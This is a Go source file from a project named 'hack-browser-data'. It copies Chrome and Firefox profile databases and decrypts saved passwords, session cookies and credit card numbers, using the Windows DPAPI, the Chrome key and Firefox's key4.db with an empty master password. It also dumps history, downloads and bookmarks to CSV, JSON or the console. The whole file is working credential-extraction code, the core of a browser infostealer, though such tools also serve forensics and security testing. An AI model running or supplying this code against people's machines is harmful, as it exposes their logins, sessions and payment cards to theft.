package data import ( "bytes" "database/sql" "encoding/base64" "io/ioutil" "os" "path/filepath" "sort" "time" "strings" "hack-browser-data/core/decrypt" "hack-browser-data/log" "hack-browser-data/utils" _ "github.com/mattn/go-sqlite3" "github.com/tidwall/gjson" ) type Item interface { // ChromeParse parse chrome items, Password and Cookie need secret key ChromeParse(key []byte) error // FirefoxParse parse firefox items FirefoxParse() error // OutPut file name and format type OutPut(format, browser, dir string) error // CopyDB is copy item db file to current dir CopyDB() error // Release is delete item db file Release() error } const ( ChromeCreditFile = "Web Data" ChromePasswordFile = "Login Data" ChromeHistoryFile = "History" ChromeDownloadFile = "History" ChromeCookieFile = "Cookies" ChromeBookmarkFile = "Bookmarks" FirefoxCookieFile = "cookies.sqlite" FirefoxKey4File = "key4.db" FirefoxLoginFile = "logins.json" FirefoxDataFile = "places.sqlite" ) var ( queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards` queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads` queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places` queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content) , url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id` queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks` queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies` queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'` queryNssPrivate = `SELECT a11, a102 from nssPrivate` closeJournalMode = `PRAGMA journal_mode=off` ) const ( bookmarkID = "id" bookmarkAdded = "date_added" bookmarkUrl = "url" bookmarkName = "name" bookmarkType = "type" bookmarkChildren = "children" ) type bookmarks struct { mainPath string bookmarks []bookmark } func NewBookmarks(main, sub string) Item { return &bookmarks{mainPath: main} } func (b *bookmarks) ChromeParse(key []byte) error { bookmarks, err := utils.ReadFile(ChromeBookmarkFile) if err != nil { return err } r := gjson.Parse(bookmarks) if r.Exists() { roots := r.Get("roots") roots.ForEach(func(key, value gjson.Result) bool { getBookmarkChildren(value, b) return true }) } return nil } func getBookmarkChildren(value gjson.Result, b *bookmarks) (children gjson.Result) { nodeType := value.Get(bookmarkType) bm := bookmark{ ID: value.Get(bookmarkID).Int(), Name: value.Get(bookmarkName).String(), URL: value.Get(bookmarkUrl).String(), DateAdded: utils.TimeEpochFormat(value.Get(bookmarkAdded).Int()), } children = value.Get(bookmarkChildren) if nodeType.Exists() { bm.Type = nodeType.String() b.bookmarks = append(b.bookmarks, bm) if children.Exists() && children.IsArray() { for _, v := range children.Array() { children = getBookmarkChildren(v, b) } } } return children } func (b *bookmarks) FirefoxParse() error { var ( err error keyDB *sql.DB bookmarkRows *sql.Rows tempMap map[int64]string bookmarkUrl string ) keyDB, err = sql.Open("sqlite3", FirefoxDataFile) if err != nil { return err } defer func() { if err := keyDB.Close(); err != nil { log.Error(err) } }() _, err = keyDB.Exec(closeJournalMode) if err != nil { log.Error(err) } bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks) if err != nil { return err } for bookmarkRows.Next() { var ( id, fk, bType, dateAdded int64 title string ) err = bookmarkRows.Scan(&id, &fk, &bType, &dateAdded, &title) if err != nil { log.Warn(err) } if url, ok := tempMap[id]; ok { bookmarkUrl = url } b.bookmarks = append(b.bookmarks, bookmark{ ID: id, Name: title, Type: utils.BookMarkType(bType), URL: bookmarkUrl, DateAdded: utils.TimeStampFormat(dateAdded / 1000000), }) } return nil } func (b *bookmarks) CopyDB() error { return copyToLocalPath(b.mainPath, filepath.Base(b.mainPath)) } func (b *bookmarks) Release() error { return os.Remove(filepath.Base(b.mainPath)) } func (b *bookmarks) OutPut(format, browser, dir string) error { sort.Slice(b.bookmarks, func(i, j int) bool { return b.bookmarks[i].ID < b.bookmarks[j].ID }) switch format { case "csv": err := b.outPutCsv(browser, dir) return err case "console": b.outPutConsole() return nil default: err := b.outPutJson(browser, dir) return err } } type cookies struct { mainPath string cookies map[string][]cookie } func NewCookies(main, sub string) Item { return &cookies{mainPath: main} } func (c *cookies) ChromeParse(secretKey []byte) error { c.cookies = make(map[string][]cookie) cookieDB, err := sql.Open("sqlite3", ChromeCookieFile) if err != nil { return err } defer func() { if err := cookieDB.Close(); err != nil { log.Debug(err) } }() rows, err := cookieDB.Query(queryChromiumCookie) if err != nil { return err } defer func() { if err := rows.Close(); err != nil { log.Debug(err) } }() for rows.Next() { var ( key, host, path string isSecure, isHTTPOnly, hasExpire, isPersistent int createDate, expireDate int64 value, encryptValue []byte ) err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent) if err != nil { log.Error(err) } cookie := cookie{ KeyName: key, Host: host, Path: path, encryptValue: encryptValue, IsSecure: utils.IntToBool(isSecure), IsHTTPOnly: utils.IntToBool(isHTTPOnly), HasExpire: utils.IntToBool(hasExpire), IsPersistent: utils.IntToBool(isPersistent), CreateDate: utils.TimeEpochFormat(createDate), ExpireDate: utils.TimeEpochFormat(expireDate), } // remove 'v10' if secretKey == nil { value, err = decrypt.DPApi(encryptValue) } else { value, err = decrypt.ChromePass(secretKey, encryptValue) } if err != nil { log.Debug(err) } cookie.Value = string(value) c.cookies[host] = append(c.cookies[host], cookie) } return nil } func (c *cookies) FirefoxParse() error { c.cookies = make(map[string][]cookie) cookieDB, err := sql.Open("sqlite3", FirefoxCookieFile) if err != nil { return err } defer func() { if err := cookieDB.Close(); err != nil { log.Debug(err) } }() rows, err := cookieDB.Query(queryFirefoxCookie) if err != nil { return err } defer func() { if err := rows.Close(); err != nil { log.Debug(err) } }() for rows.Next() { var ( name, value, host, path string isSecure, isHttpOnly int creationTime, expiry int64 ) err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly) if err != nil { log.Error(err) } c.cookies[host] = append(c.cookies[host], cookie{ KeyName: name, Host: host, Path: path, IsSecure: utils.IntToBool(isSecure), IsHTTPOnly: utils.IntToBool(isHttpOnly), CreateDate: utils.TimeStampFormat(creationTime / 1000000), ExpireDate: utils.TimeStampFormat(expiry), Value: value, }) } return nil } func (c *cookies) CopyDB() error { return copyToLocalPath(c.mainPath, filepath.Base(c.mainPath)) } func (c *cookies) Release() error { return os.Remove(filepath.Base(c.mainPath)) } func (c *cookies) OutPut(format, browser, dir string) error { switch format { case "csv": err := c.outPutCsv(browser, dir) return err case "console": c.outPutConsole() return nil default: err := c.outPutJson(browser, dir) return err } } type historyData struct { mainPath string history []history } func NewHistoryData(main, sub string) Item { return &historyData{mainPath: main} } func (h *historyData) ChromeParse(key []byte) error { historyDB, err := sql.Open("sqlite3", ChromeHistoryFile) if err != nil { return err } defer func() { if err := historyDB.Close(); err != nil { log.Error(err) } }() rows, err := historyDB.Query(queryChromiumHistory) if err != nil { return err } defer func() { if err := rows.Close(); err != nil { log.Debug(err) } }() for rows.Next() { var ( url, title string visitCount int lastVisitTime int64 ) err := rows.Scan(&url, &title, &visitCount, &lastVisitTime) data := history{ Url: url, Title: title, VisitCount: visitCount, LastVisitTime: utils.TimeEpochFormat(lastVisitTime), } if err != nil { log.Error(err) } h.history = append(h.history, data) } return nil } func (h *historyData) FirefoxParse() error { var ( err error keyDB *sql.DB historyRows *sql.Rows tempMap map[int64]string ) tempMap = make(map[int64]string) keyDB, err = sql.Open("sqlite3", FirefoxDataFile) if err != nil { return err } _, err = keyDB.Exec(closeJournalMode) if err != nil { log.Error(err) } defer func() { if err := keyDB.Close(); err != nil { log.Error(err) } }() historyRows, err = keyDB.Query(queryFirefoxHistory) if err != nil { log.Error(err) return err } defer func() { if err := historyRows.Close(); err != nil { log.Error(err) } }() for historyRows.Next() { var ( id, visitDate int64 url, title string visitCount int ) err = historyRows.Scan(&id, &url, &visitDate, &title, &visitCount) if err != nil { log.Warn(err) } h.history = append(h.history, history{ Title: title, Url: url, VisitCount: visitCount, LastVisitTime: utils.TimeStampFormat(visitDate / 1000000), }) tempMap[id] = url } return nil } func (h *historyData) CopyDB() error { return copyToLocalPath(h.mainPath, filepath.Base(h.mainPath)) } func (h *historyData) Release() error { return os.Remove(filepath.Base(h.mainPath)) } func (h *historyData) OutPut(format, browser, dir string) error { sort.Slice(h.history, func(i, j int) bool { return h.history[i].VisitCount > h.history[j].VisitCount }) switch format { case "csv": err := h.outPutCsv(browser, dir) return err case "console": h.outPutConsole() return nil default: err := h.outPutJson(browser, dir) return err } } type downloads struct { mainPath string downloads []download } func NewDownloads(main, sub string) Item { return &downloads{mainPath: main} } func (d *downloads) ChromeParse(key []byte) error { historyDB, err := sql.Open("sqlite3", ChromeDownloadFile) if err != nil { return err } defer func() { if err := historyDB.Close(); err != nil { log.Error(err) } }() rows, err := historyDB.Query(queryChromiumDownload) if err != nil { return err } defer func() { if err := rows.Close(); err != nil { log.Error(err) } }() for rows.Next() { var ( targetPath, tabUrl, mimeType string totalBytes, startTime, endTime int64 ) err := rows.Scan(&targetPath, &tabUrl, &totalBytes, &startTime, &endTime, &mimeType) data := download{ TargetPath: targetPath, Url: tabUrl, TotalBytes: totalBytes, StartTime: utils.TimeEpochFormat(startTime), EndTime: utils.TimeEpochFormat(endTime), MimeType: mimeType, } if err != nil { log.Error(err) } d.downloads = append(d.downloads, data) } return nil } func (d *downloads) FirefoxParse() error { var ( err error keyDB *sql.DB downloadRows *sql.Rows tempMap map[int64]string ) tempMap = make(map[int64]string) keyDB, err = sql.Open("sqlite3", FirefoxDataFile) if err != nil { return err } _, err = keyDB.Exec(closeJournalMode) if err != nil { log.Error(err) } defer func() { if err := keyDB.Close(); err != nil { log.Error(err) } }() downloadRows, err = keyDB.Query(queryFirefoxDownload) if err != nil { log.Error(err) return err } defer func() { if err := downloadRows.Close(); err != nil { log.Error(err) } }() for downloadRows.Next() { var ( content, url string place_id, dateAdded int64 ) err = downloadRows.Scan(&place_id, &content, &url, &dateAdded) if err != nil { log.Warn(err) } contentList := strings.Split(content, ",{") if len(contentList) > 1 { path := contentList[0] json := "{" + contentList[1] endTime := gjson.Get(json, "endTime") fileSize:= gjson.Get(json, "fileSize") d.downloads = append(d.downloads, download{ TargetPath: path, Url: url, TotalBytes: fileSize.Int(), StartTime: utils.TimeStampFormat(dateAdded / 1000000), EndTime: utils.TimeStampFormat(endTime.Int() / 1000), }) } tempMap[place_id] = url } return nil } func (d *downloads) CopyDB() error { return copyToLocalPath(d.mainPath, filepath.Base(d.mainPath)) } func (d *downloads) Release() error { return os.Remove(filepath.Base(d.mainPath)) } func (d *downloads) OutPut(format, browser, dir string) error { switch format { case "csv": err := d.outPutCsv(browser, dir) return err case "console": d.outPutConsole() return nil default: err := d.outPutJson(browser, dir) return err } } type passwords struct { mainPath string subPath string logins []loginData } func NewFPasswords(main, sub string) Item { return &passwords{mainPath: main, subPath: sub} } func NewCPasswords(main, sub string) Item { return &passwords{mainPath: main} } func (p *passwords) ChromeParse(key []byte) error { loginDB, err := sql.Open("sqlite3", ChromePasswordFile) if err != nil { return err } defer func() { if err := loginDB.Close(); err != nil { log.Debug(err) } }() rows, err := loginDB.Query(queryChromiumLogin) if err != nil { return err } defer func() { if err := rows.Close(); err != nil { log.Debug(err) } }() for rows.Next() { var ( url, username string pwd, password []byte create int64 ) err = rows.Scan(&url, &username, &pwd, &create) if err != nil { log.Error(err) } login := loginData{ UserName: username, encryptPass: pwd, LoginUrl: url, } if key == nil { password, err = decrypt.DPApi(pwd) } else { password, err = decrypt.ChromePass(key, pwd) } if err != nil { log.Debugf("%s have empty password %s", login.LoginUrl, err.Error()) } if create > time.Now().Unix() { login.CreateDate = utils.TimeEpochFormat(create) } else { login.CreateDate = utils.TimeStampFormat(create) } login.Password = string(password) p.logins = append(p.logins, login) } return nil } func (p *passwords) FirefoxParse() error { globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey() if err != nil { return err } keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1} metaPBE, err := decrypt.NewASN1PBE(metaBytes) if err != nil { log.Error("decrypt meta data failed", err) return err } // default master password is empty var masterPwd []byte k, err := metaPBE.Decrypt(globalSalt, masterPwd) if err != nil { log.Error("decrypt firefox meta bytes failed", err) return err } if bytes.Contains(k, []byte("password-check")) { log.Debug("password-check success") m := bytes.Compare(nssA102, keyLin) if m == 0 { nssPBE, err := decrypt.NewASN1PBE(nssA11) if err != nil { log.Error("decode firefox nssA11 bytes failed", err) return err } finallyKey, err := nssPBE.Decrypt(globalSalt, masterPwd) finallyKey = finallyKey[:24] if err != nil { log.Error("get firefox finally key failed") return err } allLogins, err := getFirefoxLoginData() if err != nil { return err } for _, v := range allLogins { userPBE, err := decrypt.NewASN1PBE(v.encryptUser) if err != nil { log.Error("decode firefox user bytes failed", err) } pwdPBE, err := decrypt.NewASN1PBE(v.encryptPass) if err != nil { log.Error("decode firefox password bytes failed", err) } user, err := userPBE.Decrypt(finallyKey, masterPwd) if err != nil { log.Error(err) } pwd, err := pwdPBE.Decrypt(finallyKey, masterPwd) if err != nil { log.Error(err) } log.Debug("decrypt firefox success") p.logins = append(p.logins, loginData{ LoginUrl: v.LoginUrl, UserName: string(decrypt.PKCS5UnPadding(user)), Password: string(decrypt.PKCS5UnPadding(pwd)), CreateDate: v.CreateDate, }) } } } return nil } func (p *passwords) CopyDB() error { err := copyToLocalPath(p.mainPath, filepath.Base(p.mainPath)) if err != nil { log.Error(err) } if p.subPath != "" { err = copyToLocalPath(p.subPath, filepath.Base(p.subPath)) } return err } func (p *passwords) Release() error { err := os.Remove(filepath.Base(p.mainPath)) if err != nil { log.Error(err) } if p.subPath != "" { err = os.Remove(filepath.Base(p.subPath)) } return err } func (p *passwords) OutPut(format, browser, dir string) error { sort.Sort(p) switch format { case "csv": err := p.outPutCsv(browser, dir) return err case "console": p.outPutConsole() return nil default: err := p.outPutJson(browser, dir) return err } } type creditCards struct { mainPath string cards map[string][]card } func NewCCards(main string, sub string) Item { return &creditCards{mainPath: main} } func (c *creditCards) FirefoxParse() error { return nil // FireFox does not have a credit card saving feature } func (c *creditCards) ChromeParse(secretKey []byte) error { c.cards = make(map[string][]card) creditDB, err := sql.Open("sqlite3", ChromeCreditFile) if err != nil { return err } defer func() { if err := creditDB.Close(); err != nil { log.Debug(err) } }() rows, err := creditDB.Query(queryChromiumCredit) if err != nil { return err } defer func() { if err := rows.Close(); err != nil { log.Debug(err) } }() for rows.Next() { var ( name, month, year, guid string value, encryptValue []byte ) err := rows.Scan(&guid, &name, &month, &year, &encryptValue) if err != nil { log.Error(err) } creditCardInfo := card{ GUID: guid, Name: name, ExpirationMonth: month, ExpirationYear: year, } if secretKey == nil { value, err = decrypt.DPApi(encryptValue) } else { value, err = decrypt.ChromePass(secretKey, encryptValue) } if err != nil { log.Debug(err) } creditCardInfo.CardNumber = string(value) c.cards[guid] = append(c.cards[guid], creditCardInfo) } return nil } func (c *creditCards) CopyDB() error { return copyToLocalPath(c.mainPath, filepath.Base(c.mainPath)) } func (c *creditCards) Release() error { return os.Remove(filepath.Base(c.mainPath)) } func (c *creditCards) OutPut(format, browser, dir string) error { switch format { case "csv": err := c.outPutCsv(browser, dir) return err case "console": c.outPutConsole() return nil default: err := c.outPutJson(browser, dir) return err } } // getFirefoxDecryptKey get value from key4.db func getFirefoxDecryptKey() (item1, item2, a11, a102 []byte, err error) { var ( keyDB *sql.DB pwdRows *sql.Rows nssRows *sql.Rows ) keyDB, err = sql.Open("sqlite3", FirefoxKey4File) if err != nil { log.Error(err) return nil, nil, nil, nil, err } defer func() { if err := keyDB.Close(); err != nil { log.Error(err) } }() pwdRows, err = keyDB.Query(queryMetaData) defer func() { if err := pwdRows.Close(); err != nil { log.Debug(err) } }() for pwdRows.Next() { if err := pwdRows.Scan(&item1, &item2); err != nil { log.Error(err) continue } } if err != nil { log.Error(err) } nssRows, err = keyDB.Query(queryNssPrivate) defer func() { if err := nssRows.Close(); err != nil { log.Debug(err) } }() for nssRows.Next() { if err := nssRows.Scan(&a11, &a102); err != nil { log.Debug(err) } } return item1, item2, a11, a102, nil } // getFirefoxLoginData use to get firefox func getFirefoxLoginData() (l []loginData, err error) { s, err := ioutil.ReadFile(FirefoxLoginFile) if err != nil { return nil, err } h := gjson.GetBytes(s, "logins") if h.Exists() { for _, v := range h.Array() { var ( m loginData u []byte p []byte ) m.LoginUrl = v.Get("formSubmitURL").String() u, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String()) m.encryptUser = u if err != nil { log.Debug(err) } p, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String()) m.encryptPass = p m.CreateDate = utils.TimeStampFormat(v.Get("timeCreated").Int() / 1000) l = append(l, m) } } return } type ( loginData struct { UserName string encryptPass []byte encryptUser []byte Password string LoginUrl string CreateDate time.Time } bookmark struct { ID int64 Name string Type string URL string DateAdded time.Time } cookie struct { Host string Path string KeyName string encryptValue []byte Value string IsSecure bool IsHTTPOnly bool HasExpire bool IsPersistent bool CreateDate time.Time ExpireDate time.Time } history struct { Title string Url string VisitCount int LastVisitTime time.Time } download struct { TargetPath string Url string TotalBytes int64 StartTime time.Time EndTime time.Time MimeType string } card struct { GUID string Name string ExpirationYear string ExpirationMonth string CardNumber string } ) func (p passwords) Len() int { return len(p.logins) } func (p passwords) Less(i, j int) bool { return p.logins[i].CreateDate.After(p.logins[j].CreateDate) } func (p passwords) Swap(i, j int) { p.logins[i], p.logins[j] = p.logins[j], p.logins[i] } func (d downloads) Len() int { return len(d.downloads) } func (d downloads) Less(i, j int) bool { return d.downloads[i].StartTime.After(d.downloads[j].StartTime) } func (d downloads) Swap(i, j int) { d.downloads[i], d.downloads[j] = d.downloads[j], d.downloads[i] } func copyToLocalPath(src, dst string) error { locals, _ := filepath.Glob("*") for _, v := range locals { if v == dst { err := os.Remove(dst) if err != nil { return err } } } sourceFile, err := ioutil.ReadFile(src) if err != nil { log.Debug(err.Error()) } err = ioutil.WriteFile(dst, sourceFile, 0777) if err != nil { log.Debug(err.Error()) } return err }